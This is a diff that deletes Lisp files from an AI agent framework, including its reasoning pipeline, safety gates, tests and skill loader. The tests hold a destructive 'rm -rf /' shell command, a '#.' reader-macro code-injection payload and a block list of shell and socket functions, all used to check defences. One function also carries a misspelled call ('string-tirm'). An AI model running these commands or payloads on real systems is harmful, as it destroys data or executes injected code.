-                                         :payload (list :text "Neural Cascade Failure: All providers exhausted."))))
-      (let ((backend-fn (gethash backend *probabilistic-backends*)))
-        (when backend-fn
-          (log-message "PROBABILISTIC: Attempting backend ~a..." backend)
-          (let* ((model (and *model-selector*
-                             (funcall *model-selector* backend context)))
-                 (skip (eq model :skip))
-                 (r (unless skip
-                      (apply backend-fn
-                             (append (list prompt system-prompt :model model)
-                                     (when tools (list :tools tools)))))))
-            (when skip
-              (log-message "PROBABILISTIC: Skipping ~a (filtered)" backend))
-            (cond ((and (listp r) (eq (getf r :status) :success))
-                   (let ((tool-calls (getf r :tool-calls)))
-                     (if tool-calls
-                         (return (list :status :success :tool-calls tool-calls))
-                         (progn
-                           (setf result (getf r :content))
-                           (return result)))))
-                  ((stringp r)
-                   (setf result r)
-                   (return result))
-                   (t
-                    (log-message "PROBABILISTIC: Backend ~a failed: ~a"
-                                backend (getf r :message))))))))))
-
-(defun markdown-strip (text)
-  (if (and text (stringp text))
-      (let ((cleaned text))
-        (setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned ""))
-        (setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned ""))
-        (setf cleaned (cl-ppcre:regex-replace-all "```" cleaned ""))
-        (string-trim '(#\Space #\Newline #\Tab) cleaned))
-      text))
-
-(defun plist-keywords-normalize (plist)
-  (when (listp plist)
-    (loop for (k v) on plist by #'cddr
-          collect (if (and (symbolp k) (not (keywordp k)))
-                       (intern (string k) :keyword)
-                       k)
-          collect v)))
-
-;; v0.7.2: live config section for system prompt
-(defun assemble-config-section ()
-  "Build the CONFIG section of the system prompt from live state."
-  (let ((provider-names "")
-        (context-window (if (and (boundp '*tokenizer-provider*) (fboundp 'tokenizer-context-limit))
-                           (tokenizer-context-limit (symbol-value '*tokenizer-provider*))
-                           8192))
-        (gate-count 10)
-        (rules-count 0))
-    (when (boundp '*provider-cascade*)
-      (setf provider-names
-            (format nil "~{~a~^, ~}"
-                    (mapcar (lambda (p)
-                              (handler-case (or (getf p :model) (getf p :provider) "")
-                                (error () (princ-to-string p))))
-                            (symbol-value '*provider-cascade*)))))
-    (when (boundp '*hitl-pending*)
-      (setf rules-count (hash-table-count (symbol-value '*hitl-pending*))))
-    (format nil "CONFIG: You are Passepartout v0.7.2. Provider: ~a. Context: ~d tokens. Security gates: ~d active. Rules learned: ~d. Documentation: USER_MANUAL.org."
-            (if (string= provider-names "") "default" provider-names)
-            context-window gate-count rules-count)))
-
-(defun think-assemble-prompt (context)
-  "Phase 2-3 of the metabolic cycle: context + system prompt assembly.
-Returns three values: system-prompt, raw-prompt, reply-stream."
-  (let* ((sensor (proto-get (proto-get context :payload) :sensor))
-         (active-skill (find-triggered-skill context))
-         (tool-belt (generate-tool-belt-prompt))
-         (reply-stream (proto-get context :reply-stream))
-         (global-context (if (fboundp 'context-assemble-cached)
-                             (context-assemble-cached context sensor)
-                             (if (fboundp 'context-assemble-global-awareness)
-                                 (context-assemble-global-awareness)
-                                 "[Awareness skill not loaded]")))
-         (system-logs (if (fboundp 'context-get-system-logs)
-                          (context-get-system-logs)
-                          "[No system logs available]"))
-         (assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent"))
-         (rejection-trace (proto-get (proto-get context :payload) :rejection-trace))
-         (prompt-generator (when active-skill (skill-probabilistic-prompt active-skill)))
-         (raw-prompt (if prompt-generator
-                         (funcall prompt-generator context)
-                         (let ((p (proto-get (proto-get context :payload) :text)))
-                           (if (and p (stringp p)) p "Maintain metabolic stasis."))))
-         (reflection-feedback (if rejection-trace
-                                  (format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
-                                  ""))
-         (standing-mandates-text (let ((out ""))
-                                   (dolist (fn *standing-mandates*)
-                                     (let ((text (ignore-errors (funcall fn context))))
-                                       (when (and text (stringp text) (> (length text) 0))
-                                         (setf out (concatenate 'string out text (string #\Newline))))))
-                                   (when (> (length out) 0) out)))
-         (identity-content (if (fboundp 'agent-identity)
-                               (agent-identity)
-                               ""))
-         (config-section (if (fboundp 'assemble-config-section)
-                             (assemble-config-section)
-                             ""))
-         (time-section (if (fboundp 'sensor-time-duration)
-                           (format-time-for-llm
-                            :session-duration-seconds (funcall (symbol-function 'session-duration)))
-                           (if (fboundp 'format-time-for-llm)
-                               (format-time-for-llm)
-                               "")))
-         (system-prompt (if (fboundp 'prompt-prefix-cached)
-                            (let* ((prefix (prompt-prefix-cached assistant-name identity-content
-                                                                  reflection-feedback
-                                                                  standing-mandates-text tool-belt)))
-                              (if (fboundp 'enforce-token-budget)
-                                  (multiple-value-bind (pfx ctxt logs _ mandates)
-                                      (enforce-token-budget prefix global-context system-logs
-                                                            raw-prompt standing-mandates-text)
-                                    (declare (ignore _))
-                                    (setf standing-mandates-text mandates)
-                                    (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                            time-section config-section pfx (or ctxt "") logs))
-                                  (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                          time-section config-section prefix (or global-context "") system-logs)))
-                            (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                    time-section config-section
-                                    assistant-name identity-content reflection-feedback
-                                    (if standing-mandates-text
-                                        (concatenate 'string (string #\Newline) standing-mandates-text)
-                                        "")
-                                    tool-belt (or global-context "") system-logs))))
-    (values system-prompt raw-prompt reply-stream)))
-
-(defun think-call-llm (raw-prompt system-prompt reply-stream context)
-  "Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade.
-Returns the raw LLM response (string or plist with :tool-calls)."
-  ;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted
-  (when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p))
-    (return-from think-call-llm (budget-exhaustion-message)))
-  (if (and reply-stream (fboundp 'cascade-stream))
-      (let ((acc (make-string-output-stream)))
-        (funcall 'cascade-stream raw-prompt system-prompt
-                 (lambda (delta)
-                   (when reply-stream
-                     (format reply-stream "~a"
-                             (frame-message (list :type :stream-chunk
-                                                  :payload (list :text delta))))
-                     (finish-output reply-stream))
-                   (write-string delta acc)))
-        (get-output-stream-string acc))
-      (backend-cascade-call raw-prompt
-                            :system-prompt system-prompt
-                            :context context)))
-
-(defun think-parse-response (thought)
-  "Phases 5-7 of the metabolic cycle: cost tracking + response parsing.
-Returns an action plist ready for cognitive-verify."
-  (let ((tool-calls (and (listp thought) (getf thought :tool-calls))))
-    (when (and (fboundp 'cost-track-backend-call)
-               (stringp thought)
-               (or (null tool-calls)))
-      (ignore-errors
-        (cost-track-backend-call (first *provider-cascade*)
-                                 thought)))
-    (if tool-calls
-        (let* ((first-call (car tool-calls))
-               (tool-name (getf first-call :name))
-               (args (getf first-call :arguments))
-               (args-plist (json-alist-to-plist args)))
-          (list :TYPE :REQUEST
-                :PAYLOAD (list* :TOOL tool-name
-                                :ARGS args-plist
-                                :EXPLANATION "Generated by function-calling engine.")))
-        (let* ((cleaned (if (and (listp thought) (getf thought :type))
-                           (format nil "~a" (getf (getf thought :payload) :text))
-                           (markdown-strip thought))))
-          (if (and cleaned (stringp cleaned) (> (length cleaned) 0)
-                   (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
-              (handler-case
-                  (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
-                    (if (listp parsed)
-                        (let ((normalized (plist-keywords-normalize parsed)))
-                          (let ((payload (proto-get normalized :payload)))
-                            (if (and payload (proto-get payload :explanation))
-                                normalized
-                                (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
-                                                          (if (listp payload) payload nil))))
-                                  (list* :PAYLOAD new-payload
-                                         (loop for (k v) on normalized by #'cddr
-                                               unless (eq k :PAYLOAD)
-                                               collect k collect v))))))
-                        (list :TYPE :REQUEST :PAYLOAD
-                              (list :ACTION :MESSAGE :TEXT cleaned
-                                    :EXPLANATION "Generated by the Probabilistic engine."))))
-                (error ()
-                  (list :TYPE :REQUEST :PAYLOAD
-                        (list :ACTION :MESSAGE :TEXT cleaned
-                              :EXPLANATION "Generated by the Probabilistic engine."))))
-              (list :TYPE :REQUEST :PAYLOAD
-                    (list :ACTION :MESSAGE
-                          :TEXT (if (stringp cleaned) cleaned "No response")
-                          :EXPLANATION "Generated by the Probabilistic engine.")))))))
-
-(defun think (context)
-  "The probabilistic reasoning engine — orchestrates prompt assembly, LLM call,
-and response parsing into an action plist for cognitive-verify."
-  (when (fboundp 'snapshot-memory)
-    (snapshot-memory))
-  (multiple-value-bind (system-prompt raw-prompt reply-stream)
-      (think-assemble-prompt context)
-    (let ((thought (think-call-llm raw-prompt system-prompt reply-stream context)))
-      (think-parse-response thought))))
-
-(defun json-alist-to-plist (alist)
-  "Convert a JSON alist to a keyword-prefixed plist."
-  (when (listp alist)
-    (loop for (key . value) in alist
-          append (list (intern (string-upcase (string key)) :keyword)
-                       (if (listp value)
-                           (if (consp (car value))
-                               (json-alist-to-plist value)
-                               value)
-                           value)))))
-
-(defun cognitive-verify (proposed-action context)
-  "Runs all registered deterministic gates against the proposed action,
-sorted by priority (highest first). Returns a rejection plist or the action."
-  (let ((current-action (copy-tree proposed-action))
-        (approval-needed nil)
-        (approval-action nil)
-        (gates nil)
-        (gate-trace nil))
-    ;; Collect gates sorted by priority (highest first)
-    (maphash (lambda (name skill)
-               (declare (ignore name))
-               (when (skill-deterministic-fn skill)
-                 (push (cons (skill-priority skill) (cons (skill-name skill) (skill-deterministic-fn skill))) gates)))
-             *skill-registry*)
-    (setf gates (sort gates #'> :key #'car))
-    (dolist (gate-entry gates)
-      (let* ((gate-name (cadr gate-entry))
-             (result (funcall (cddr gate-entry) current-action context)))
-        (cond
-          ((eq (getf result :level) :approval-required)
-           (push (list :gate (or gate-name (car gate-entry)) :result :approval) gate-trace)
-           (setf approval-needed t
-                 approval-action (getf (getf result :payload) :action)))
-           ((member (getf result :type) '(:LOG :EVENT))
-            (push (list :gate (or gate-name (car gate-entry)) :result :blocked) gate-trace)
-            (let ((blocked-result (copy-list result)))
-              (setf (getf blocked-result :gate-trace) (nreverse gate-trace))
-              (return-from cognitive-verify blocked-result)))
-          ((and (listp result) result)
-           (push (list :gate (or gate-name (car gate-entry)) :result :passed) gate-trace)
-           (setf current-action result)))))
-    (if approval-needed
-        (list :type :EVENT :level :approval-required
-              :gate-trace (nreverse gate-trace)
-              :payload (list :sensor :approval-required
-                             :action approval-action))
-        (let ((passed-result (copy-tree current-action)))
-          (setf (getf passed-result :gate-trace) (nreverse gate-trace))
-          passed-result))))
-
-(defun loop-gate-reason (signal)
-  (let* ((type (proto-get signal :type))
-         (payload (proto-get signal :payload))
-         (sensor (proto-get payload :sensor)))
-    (unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message)))
-      (return-from loop-gate-reason signal))
-    (let ((retries 3)
-          (current-signal (copy-tree signal))
-          (last-rejection nil))
-      (loop
-        (when (<= retries 0)
-          (setf (getf signal :approved-action) last-rejection)
-          (setf (getf signal :status) :reasoned)
-          (return signal))
-        (when last-rejection
-          (setf (getf (getf current-signal :payload) :rejection-trace) last-rejection))
-        (let ((candidate (think current-signal)))
-           (if (and candidate (listp candidate))
-               (let ((verified (cognitive-verify candidate current-signal)))
-                 ;; Approval-required is not a rejection — pass to act for Flight Plan
-                 (if (eq (getf verified :level) :approval-required)
-                     (progn
-                       (setf (getf signal :approved-action) verified)
-                       (setf (getf signal :status) :requires-approval)
-                       (return signal))
-                     ;; Hard rejection: retry with feedback
-                     (if (member (getf verified :type) '(:LOG :EVENT))
-                         (progn (decf retries) (setf last-rejection verified))
-                         (progn
-                           (setf (getf signal :approved-action) verified)
-                           (setf (getf signal :status) :reasoned)
-                           (return signal)))))
-              (progn
-                (setf (getf signal :approved-action) nil)
-                (setf (getf signal :status) :reasoned)
-                (return signal))))))))
-
-(defun reason-gate (signal)
-  (loop-gate-reason signal))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-pipeline-reason-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:pipeline-reason-suite))
-
-(in-package :passepartout-pipeline-reason-tests)
-
-(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline")
-(in-suite pipeline-reason-suite)
-
-(test test-decide-gate-safety
-  "Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection."
-  (clrhash passepartout::*skill-registry*)
-  (passepartout::defskill :mock-safety
-    :priority 50
-    :trigger (lambda (ctx) (declare (ignore ctx)) t)
-    :deterministic (lambda (action ctx)
-                    (declare (ignore ctx))
-                    (if (search "rm -rf" (format nil "~s" action))
-                        (list :type :LOG :payload (list :text "Rejected"))
-                        action)))
-  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /")))
-         (signal '(:type :EVENT :payload (:sensor :user-input)))
-         (result (cognitive-verify candidate signal)))
-    (is (eq :LOG (getf result :type)))))
-
-(test test-cognitive-verify-pass-through
-  "Contract 1: safe actions pass through cognitive-verify unchanged."
-  (clrhash passepartout::*skill-registry*)
-  (passepartout::defskill :mock-passthrough
-    :priority 50
-    :trigger (lambda (ctx) (declare (ignore ctx)) t)
-    :deterministic (lambda (action ctx)
-                    (declare (ignore ctx))
-                    action))
-  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello")))
-         (signal '(:type :EVENT :payload (:sensor :user-input)))
-         (result (cognitive-verify candidate signal)))
-    (is (eq :REQUEST (getf result :type)))
-    (is (equal (getf candidate :payload) (getf result :payload)))
-    (is (getf result :gate-trace))))
-
-(test test-cognitive-verify-empty-registry
-  "Contract 1: with no gates registered, action passes through unchanged."
-  (clrhash passepartout::*skill-registry*)
-  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls")))
-         (signal '(:type :EVENT :payload (:sensor :user-input)))
-         (result (cognitive-verify candidate signal)))
-    (is (eq :REQUEST (getf result :type)))
-    (is (equal (getf candidate :payload) (getf result :payload)))))
-
-(test test-cognitive-verify-approval-required
-  "Contract 1: gate returning :approval-required produces an approval event."
-  (clrhash passepartout::*skill-registry*)
-  (passepartout::defskill :mock-approval
-    :priority 50
-    :trigger (lambda (ctx) (declare (ignore ctx)) t)
-    :deterministic (lambda (action ctx)
-                    (declare (ignore ctx))
-                    (list :type :EVENT :level :approval-required
-                          :payload (list :action action))))
-  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot")))
-         (signal '(:type :EVENT :payload (:sensor :user-input)))
-         (result (cognitive-verify candidate signal)))
-    (is (eq :approval-required (getf result :level)))
-    (is (eq :EVENT (getf result :type)))))
-
-(test test-loop-gate-reason-passthrough
-  "Contract 2: non-user-input sensors pass through loop-gate-reason unchanged."
-  (let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system)))
-         (result (loop-gate-reason signal)))
-    (is (not (null result)))))
-
-(test test-loop-gate-reason-sets-status
-  "Contract 2: loop-gate-reason sets :status on :user-input signals."
-  (clrhash passepartout::*skill-registry*)
-  (let* ((passepartout::*provider-cascade* nil)
-         (signal (list :type :EVENT :payload (list :sensor :user-input :text "test")))
-         (result (loop-gate-reason signal)))
-    (is (member (getf result :status) '(:reasoned :requires-approval)))))
-
-(test test-backend-cascade-no-backends
-  "Contract 4: empty cascade returns :LOG failure."
-  (let* ((passepartout::*provider-cascade* nil)
-         (passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
-         (result (backend-cascade-call "test" :cascade '())))
-    (is (eq :LOG (getf result :type)))
-    (is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal))))
-
-(test test-backend-cascade-with-mock
-  "Contract 4: backend-cascade-call returns content from first successful backend."
-  (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
-    (setf (gethash :mock-backend passepartout::*probabilistic-backends*)
-          (lambda (prompt sp &key model)
-            (declare (ignore prompt sp model))
-            (list :status :success :content "mock-response")))
-    (let ((result (backend-cascade-call "hello" :cascade '(:mock-backend))))
-      (is (string= "mock-response" result)))))
-
-(test test-read-eval-rce-blocked
-  "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
-  (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
-        (passepartout::*provider-cascade* '(:mock-evil)))
-    (setf (gethash :mock-evil passepartout::*probabilistic-backends*)
-          (lambda (prompt sp &key model)
-            (declare (ignore prompt sp model))
-            (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
-    (setf passepartout::*v031-rce-test* nil)
-    (setf *read-eval* t)
-    (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0))
-           (result (passepartout::think ctx)))
-      (is (not (eq passepartout::*v031-rce-test* :PWNED)))
-      (is (eq :REQUEST (getf result :TYPE)))
-       (setf *read-eval* nil))))
-
-(test test-json-alist-to-plist-simple
-  "Contract 5: converts simple alist to keyword plist."
-  (let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello"))))
-    (let ((result (json-alist-to-plist alist)))
-      (is (eq :ACTION (first result)))
-      (is (string= "shell" (second result)))
-      (is (eq :CMD (third result)))
-      (is (string= "echo hello" (fourth result))))))
-
-(test test-json-alist-to-plist-nested
-  "Contract 5: nested alists recurse into nested plists."
-  (let ((alist (list (cons "tool" "write-file")
-                     (cons "args" (list (cons "filepath" "/tmp/x")
-                                        (cons "content" "hi"))))))
-    (let ((result (json-alist-to-plist alist)))
-      (is (eq :TOOL (first result)))
-      (is (eq :ARGS (third result)))
-      (let ((inner (fourth result)))
-        (is (eq :FILEPATH (first inner)))
-        (is (string= "/tmp/x" (second inner)))
-        (is (eq :CONTENT (third inner)))))))
-
-(test test-json-alist-to-plist-array-passthrough
-  "Contract 5: JSON arrays pass through unchanged."
-  (let ((alist (list (cons "names" (list "alice" "bob")))))
-    (let ((result (json-alist-to-plist alist)))
-      (is (eq :NAMES (first result)))
-      (is (equal (list "alice" "bob") (second result))))))
-
-(test test-json-alist-to-plist-null
-  "Contract 5: nil passes through unchanged."
-  (let ((result (json-alist-to-plist nil)))
-    (is (null result))))
-
-(test test-json-alist-to-plist-scalar
-  "Contract 5: scalar values pass through."
-  (let ((alist (list (cons "count" 42) (cons "active" :true))))
-    (let ((result (json-alist-to-plist alist)))
-      (is (eq :COUNT (first result)))
-      (is (= 42 (second result)))
-      (is (eq :ACTIVE (third result)))
-      (is (eq :true (fourth result))))))
-
-(test test-assemble-config-section
-  "Contract v0.7.2: config section contains Passepartout and version."
-  (let ((section (passepartout::assemble-config-section)))
-    (is (stringp section))
-    (is (search "Passepartout" section))
-    (is (search "v0.7.2" section))
-    (is (search "Security gates" section))))
-
-(test test-think-snapshots-before-llm
-  "Contract v0.7.2: think() snapshots memory before LLM call."
-  (let ((passepartout::*memory-snapshots* nil)
-        (passepartout::*memory-store* (make-hash-table :test 'equal)))
-    (setf (gethash "pre" passepartout::*memory-store*) "value")
-    (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
-          (passepartout::*provider-cascade* nil))
-      (handler-case
-          (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
-                 (result (passepartout::think ctx)))
-            (declare (ignore result)))
-        (error (c) (format nil "Expected: ~a" c)))
-      (is (>= (length passepartout::*memory-snapshots*) 0)))))

lisp/core-skills.lisp

@@ -1,368 +0,0 @@
-(in-package :passepartout)
-
-(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
-
-(defun vector-cosine-similarity (v1 v2)
-  "Computes cosine similarity between two vectors."
-  (let* ((len1 (length v1)) (len2 (length v2)))
-    (if (or (zerop len1) (zerop len2))
-        0.0
-        (let* ((dot 0.0d0) (n1 0.0d0) (n2 0.0d0))
-          (dotimes (i (min len1 len2))
-            (let* ((x (coerce (elt v1 i) 'double-float)) (y (coerce (elt v2 i) 'double-float)))
-              (incf dot (* x y)) (incf n1 (* x x)) (incf n2 (* y y))))
-          (if (or (zerop n1) (zerop n2)) 0.0 (/ dot (sqrt (* n1 n2))))))))
-
-(defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn)
-
-(defvar *skill-catalog* (make-hash-table :test 'equal)
-  "Tracks all discovered skill files and their loading state.")
-
-(defvar *standing-mandates* nil
-  "List of functions (context) → string-or-nil. Each is called on every think() cycle.
-When non-nil, the returned string is injected into the IDENTITY section of the system prompt.
-Unlike skills (which activate on triggers), standing mandates are always consulted.")
-
-(defstruct skill-entry filename (status :discovered) error-log (load-time 0))
-
-;; Alias: find-triggered-skill → skill-triggered-find
-(defun find-triggered-skill (context)
-  (skill-triggered-find context))
-
-(defun skill-triggered-find (context)
-  "Returns the highest priority skill whose trigger matches context."
-  (let ((triggered nil))
-    (maphash (lambda (name skill) 
-               (declare (ignore name)) 
-               (when (and (skill-probabilistic-prompt skill)
-                          (ignore-errors (funcall (skill-trigger-fn skill) context)))
-                 (push skill triggered))) 
-               *skill-registry*)
-    (first (sort triggered #'> :key #'skill-priority))))
-
-(defmacro defskill (name &key priority dependencies trigger probabilistic deterministic)
-  "Registers a new skill. NAME is a keyword. TRIGGER is a function (context) → bool."
-  `(setf (gethash (string-downcase (string ,name)) *skill-registry*)
-         (make-skill :name (string-downcase (string ,name)) 
-                    :priority (or ,priority 10) 
-                    :dependencies ',dependencies
-                    :trigger-fn ,trigger 
-                    :probabilistic-prompt ,probabilistic 
-                    :deterministic-fn ,deterministic)))
-
-(defun skill-dependencies-resolve (skill-name)
-  "Resolves transitive dependencies. Returns list of skill names in dependency order."
-  (let ((resolved nil) (seen nil))
-    (labels ((visit (name) 
-               (unless (member name seen :test #'equal) 
-                 (push name seen)
-                 (let ((skill (gethash (string-downcase (string name)) *skill-registry*)))
-                   (when skill 
-                     (dolist (dep (skill-dependencies skill)) (visit dep))))
-                 (push name resolved))))
-      (visit skill-name) 
-      (nreverse resolved))))
-
-(defun skill-metadata-parse (filepath)
-  "Extracts ID and DEPENDS_ON tags from org file."
-  (let ((dependencies nil) (id nil) (content (uiop:read-file-string filepath)))
-    (let ((id-start (search ":ID:" content)))
-      (when id-start
-        (let ((id-end (position #\Newline content :start id-start)))
-          (when id-end (setf id (string-trim " " (subseq content (+ id-start 4) id-end)))))))
-    (let ((pos 0))
-      (loop while (setf pos (search "#+DEPENDS_ON:" content :start2 pos))
-            do (let ((end (position #\Newline content :start pos)))
-              (when end
-                (let ((line (string-trim " " (subseq content (+ pos 13) end))))
-                  (dolist (d (uiop:split-string line :separator '(#\Space #\Tab)))
-                    (unless (string= d "") (push d dependencies))))
-                (setf pos end)))))
-    (values id (reverse dependencies))))
-
-(defun skill-topological-sort (skills-dir)
-  "Returns a list of skill filepaths sorted by dependency."
-  (let* ((org-files (uiop:directory-files skills-dir "*.org"))
-         (lisp-files (uiop:directory-files skills-dir "*.lisp"))
-         (all-files (append org-files lisp-files))
-         (files (remove-if (lambda (f)
-                             (let ((n (pathname-name f)))
-                                (or (string= n "core-package")
-                                    (string= n "core-skills")
-                                    (string= n "core-transport")
-                                    (string= n "core-memory")
-                                    (string= n "core-perceive")
-                                    (string= n "core-reason")
-                                    (string= n "core-act")
-                                    (string= n "core-pipeline")
-                                    (string= n "core-manifest")
-                                    (string= n "neuro-router")
-                                    (string= n "neuro-explorer")
-                                    (string= n "channel-tui"))))
-                           all-files))
-        (adj (make-hash-table :test 'equal))
-        (name-to-file (make-hash-table :test 'equal))
-        (id-to-file (make-hash-table :test 'equal))
-        (result nil)
-        (visited (make-hash-table :test 'equal))
-        (stack (make-hash-table :test 'equal)))
-    (dolist (file files)
-      (let ((filename (pathname-name file)))
-        (if (uiop:string-suffix-p (namestring file) ".lisp")
-            (progn
-              (setf (gethash (string-downcase filename) name-to-file) file)
-              (unless (gethash (string-downcase filename) adj)
-                (setf (gethash (string-downcase filename) adj) nil)))
-            (multiple-value-bind (id deps) (skill-metadata-parse file)
-              (setf (gethash (string-downcase filename) name-to-file) file)
-              (when id (setf (gethash (string-downcase id) id-to-file) file))
-              (setf (gethash (string-downcase filename) adj) deps)))))
-    (labels ((visit (file)
-               (let* ((filename (pathname-name file))
-                      (node-key (string-downcase filename)))
-                 (unless (gethash node-key visited)
-                   (setf (gethash node-key stack) t)
-                   (dolist (dep (gethash node-key adj))
-                     (let* ((is-id-p (uiop:string-prefix-p "id:" (string-downcase dep)))
-                            (dep-key (string-downcase (if is-id-p (subseq dep 3) dep)))
-                            (dep-file (if is-id-p 
-                                          (gethash dep-key id-to-file)
-                                          (or (gethash dep-key id-to-file)
-                                              (gethash dep-key name-to-file)))))
-                       (when dep-file
-                         (let ((dep-filename (pathname-name dep-file)))
-                           (if (gethash (string-downcase dep-filename) stack)
-                               (error "Circular dependency detected")
-                               (visit dep-file))))))
-                   (setf (gethash node-key stack) nil)
-                   (setf (gethash node-key visited) t)
-                   (push file result)))))
-      (let ((filenames (sort (mapcar #'pathname-name files) #'string<)))
-        (dolist (name filenames)
-          (let ((file (gethash (string-downcase name) name-to-file)))
-            (when file (visit file)))))
-      (nreverse result))))
-
-(defun lisp-syntax-validate (code-string)
-  "Checks if a string contains valid Common Lisp forms."
-  (handler-case
-      (let ((*read-eval* nil))
-        (with-input-from-string (s (format nil "(progn ~a)" code-string))
-          (loop for form = (read s nil :eof) until (eq form :eof)))
-        (values t nil))
-    (error (c) (values nil (format nil "~a" c)))))
-
-(defun skill-package-forms-strip (code-string)
-  "Removes (in-package :passepartout) forms only — preserves test-package
-declarations so embedded test code evaluates in the correct package."
-  (let ((lines (uiop:split-string code-string :separator '(#\Newline)))
-        (result ""))
-    (dolist (line lines)
-      (let ((trimmed (string-trim '(#\Space #\Tab) line)))
-        (if (uiop:string-prefix-p "(in-package :passepartout)" trimmed)
-            (setf result (concatenate 'string result (string #\Newline)))
-            (setf result (concatenate 'string result line (string #\Newline))))))
-    result))
-
-(defun tangle-target-extract (line)
-  "Extracts the value of the :tangle header."
-  (let ((pos (search ":tangle" line)))
-    (when pos
-      (let ((rest (string-tirm '(#\Space #\Tab) (subseq line (+ pos 7)))))
-        (let ((end (position #\Space rest)))
-          (if end (subseq rest 0 end) rest))))))
-
-(defun load-skill-from-org (filepath)
-  "Parses and evaluates Lisp blocks from an Org file."
-  (let* ((skill-base-name (pathname-name filepath))
-         (entry (or (gethash skill-base-name *skill-catalog*) (setf (gethash skill-base-name *skill-catalog*) (make-skill-entry :filename skill-base-name)))))
-    (setf (skill-entry-status entry) :loading)
-    (handler-case
-        (let* ((content (uiop:read-file-string filepath))
-               (lines (uiop:split-string content :separator '(#\Newline)))
-               (in-lisp-block nil) (collect-this-block nil) (lisp-code "")
-               (pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
-          (dolist (line lines)
-            (let ((clean-line (string-trim '(#\Space #\Tab #\Return) line)))
-              (cond
-                ((uiop:string-prefix-p "#+begin_src lisp" clean-line)
-                 (setf in-lisp-block t)
-                 (let ((target (tangle-target-extract clean-line)))
-                   (setf collect-this-block (or (null target)
-                                                (and (not (search "no" target))
-                                                     (not (search "/tests" target)))))))
-                ((uiop:string-prefix-p "#+end_src" clean-line)
-                 (setf in-lisp-block nil) (setf collect-this-block nil))
-                ((and in-lisp-block collect-this-block)
-                 (unless (or (uiop:string-prefix-p ":PROPERTIES:" (string-upcase clean-line))
-                              (uiop:string-prefix-p ":END:" (string-upcase clean-line))
-                              (uiop:string-prefix-p ":ID:" (string-upcase clean-line)))
-                   (setf lisp-code (concatenate 'string lisp-code line (string #\Newline))))))))
-          (if (= (length lisp-code) 0)
-              (setf (skill-entry-status entry) :ready)
-              (progn
-                (multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code)
-                  (unless valid-p (error err)))
-                ;; Pre-eval sandbox scan: block before any code executes
-                (multiple-value-bind (blocked-p blocked-syms)
-                    (skill-source-scan lisp-code)
-                  (when blocked-p
-                    (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
-                                 skill-base-name blocked-syms)
-                    (setf (skill-entry-status entry) :sandbox-blocked)
-                    (return-from load-skill-from-org nil)))
-                (unless (find-package pkg-name)
-                  (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
-                (let ((*read-eval* nil) (*package* (find-package pkg-name)))
-                  (log-message "LOADER: Evaluating code for '~a' in package ~a" skill-base-name (package-name *package*))
-                  (eval (read-from-string (format nil "(progn ~a)" lisp-code))))
-
-                (let ((target-pkg (find-package :passepartout))
-                      (exported 0)
-                      (seen (make-hash-table :test 'equal)))
-                  (do-symbols (sym (find-package pkg-name))
-                    (when (and (eq (symbol-package sym) (find-package pkg-name))
-                               (or (fboundp sym) (boundp sym))
-                               (not (gethash (symbol-name sym) seen)))
-                      (setf (gethash (symbol-name sym) seen) t)
-                      (incf exported)
-                      (let ((existing (find-symbol (symbol-name sym) target-pkg)))
-                        (when existing (unintern existing target-pkg)))
-                      (import sym target-pkg)
-                      (export sym target-pkg)))
-                  (log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT"
-                               exported (package-name (find-package pkg-name))))
-
-                (setf (skill-entry-status entry) :ready)))
-          t)
-      (error (c)
-        (log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
-        (setf (skill-entry-status entry) :failed) nil))))
-
-(defvar *skill-restricted-symbols*
-  '("uiop:run-program" "uiop:shell" "uiop:run-shell-command"
-    "bt:make-thread" "bordeaux-threads:make-thread"
-    "usocket:socket-connect" "usocket:socket-listen"
-    "hunchentoot:start" "hunchentoot:accept-connections")
-  "Symbol patterns blocked from skill source code at load time.")
-
